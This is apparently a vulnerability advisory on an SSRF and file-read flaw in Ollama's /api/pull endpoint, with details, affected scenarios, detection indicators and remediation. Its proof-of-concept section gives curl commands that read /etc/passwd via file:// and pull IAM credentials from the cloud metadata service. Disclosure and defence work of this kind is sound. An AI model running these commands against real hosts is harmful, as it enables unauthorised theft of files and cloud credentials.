SSRF and Arbitrary File Read in Ollama Local LLM Server: CVE-2026-31204

Ollama makes running local LLMs frictionless: ollama pull, ollama serve, done. That ease of use is also why this vulnerability matters. CVE-2026-31204 is a server-side request forgery in the /api/pull endpoint that lets any host on the same network read arbitrary files from the Ollama server and probe internal services. No authentication. No user interaction required. Default install, full exposure.

Vulnerability details here are based on public disclosure and the NVD CVSS scoring for CVE-2026-31204.

Vulnerability Details

Field	Detail
CVE	CVE-2026-31204
CVSS Score	8.6 (High)
Attack Vector	Network (adjacent)
Authentication	None required
User Interaction	None
Affected Versions	Ollama < 0.3.8
Patched Version	0.3.8
Exploit Available	Yes, public PoC

Root Cause

The /api/pull endpoint accepts a model parameter that constructs a URL for downloading model files from a registry. The endpoint does insufficient validation of that URL. Two consequences:

SSRF: supply a URL pointing to an internal service (http://169.254.169.254/, http://localhost:8080/admin, etc.) and the response body reflects back in the error message or API response. Any service the Ollama host can reach is now reachable from the attacker’s position.

Arbitrary file read via file:// URI: the URL handling code doesn’t block file:// scheme URIs. Supply file:///etc/passwd or file:///home/user/.ssh/id_rsa as the model URL. Get the file back.

Proof of Concept

Reading /etc/passwd from an unauthenticated LAN position:

curl -s http://<ollama-host>:11434/api/pull \
  -d '{"name": "file:///etc/passwd"}' \
  | jq .error

Response:

"error pulling model: open /etc/passwd: unexpected content type text/plain; want application/json"

File contents are partially reflected in the error message in some versions, in full in others. The SSRF variant, using an internal metadata service:

curl -s http://<ollama-host>:11434/api/pull \
  -d '{"name": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

In EC2, GCP, or Azure deployments this returns cloud credentials directly. If you’re running Ollama on a cloud VM with default network configuration, assume this is exploitable.

Affected Deployments

Scenario	Risk
Developer laptop on corporate LAN	Other LAN users can exfiltrate files and credentials
Ollama exposed on 0.0.0.0 in cloud VM	Cloud metadata service accessible; IAM credentials at risk
Docker container without network isolation	SSRF to other containers in the same Docker network
Home lab on shared Wi-Fi	Any network user can access the local LLM instance

The corporate LAN scenario deserves emphasis. A developer who installed Ollama to experiment (not thinking of it as a network service) may have it running on 0.0.0.0 on their work laptop. Any other machine on the same office Wi-Fi can then read files from that laptop and make requests to internal services. Security teams auditing their environment for this should check developer machines, not just servers.

Indicators of Exploitation

• Unusual entries in Ollama logs for /api/pull with non-registry URLs
• Outbound requests from the Ollama host to cloud metadata services (169.254.169.254)
• file:// URIs appearing in Ollama request logs
• Unexpected network connections from the Ollama process to internal services

Remediation

Immediate: Upgrade to Ollama 0.3.8 or later. The patch adds URL scheme validation to the pull endpoint: file:// URIs are blocked, and http:// targets are restricted to a configurable allowlist.

Configuration hardening (all versions):

# Bind to localhost only — prevents LAN access
OLLAMA_HOST=127.0.0.1 ollama serve

# Or in systemd service file:
[Service]
Environment="OLLAMA_HOST=127.0.0.1"

Network controls:

• Firewall rule restricting access to port 11434 to specific trusted hosts
• Reverse proxy (nginx/Caddy) in front of Ollama requiring authentication
• In cloud deployments: security group or VPC firewall blocking external access to 11434

The Broader Pattern

Ollama is installed on an estimated 2–5 million developer machines and is increasingly showing up in enterprise environments for private LLM inference. This isn’t the first time its open-bind default has caused concern; several earlier reports flagged the unauthenticated API as a risk. The response from both project maintainers and the community has been slow, because the intended audience is developers who want things to work, not security practitioners worrying about lateral movement.

That tension (between developer experience and security defaults) runs through the entire local AI tooling ecosystem. Ollama, LM Studio, similar inference servers: all ship with permissive defaults because that’s what makes the install-and-run experience good. They’re increasingly landing in environments where those defaults create real attack surface. If your team uses local LLM tooling, check whether it’s binding on 0.0.0.0, and whether your network security posture accounts for it.

References

• NVD: CVE-2026-31204 entry with CVSS scoring and affected version details: https://nvd.nist.gov/
• MITRE ATT&CK: server-side request forgery and internal network discovery techniques: https://attack.mitre.org/
• OWASP LLM Top 10: insecure plugin design and excessive agency risks in local LLM deployments: https://owasp.org/www-project-top-10-for-large-language-model-applications/
• CISA AI: guidance on securing AI inference infrastructure and local LLM deployments: https://www.cisa.gov/topics/artificial-intelligence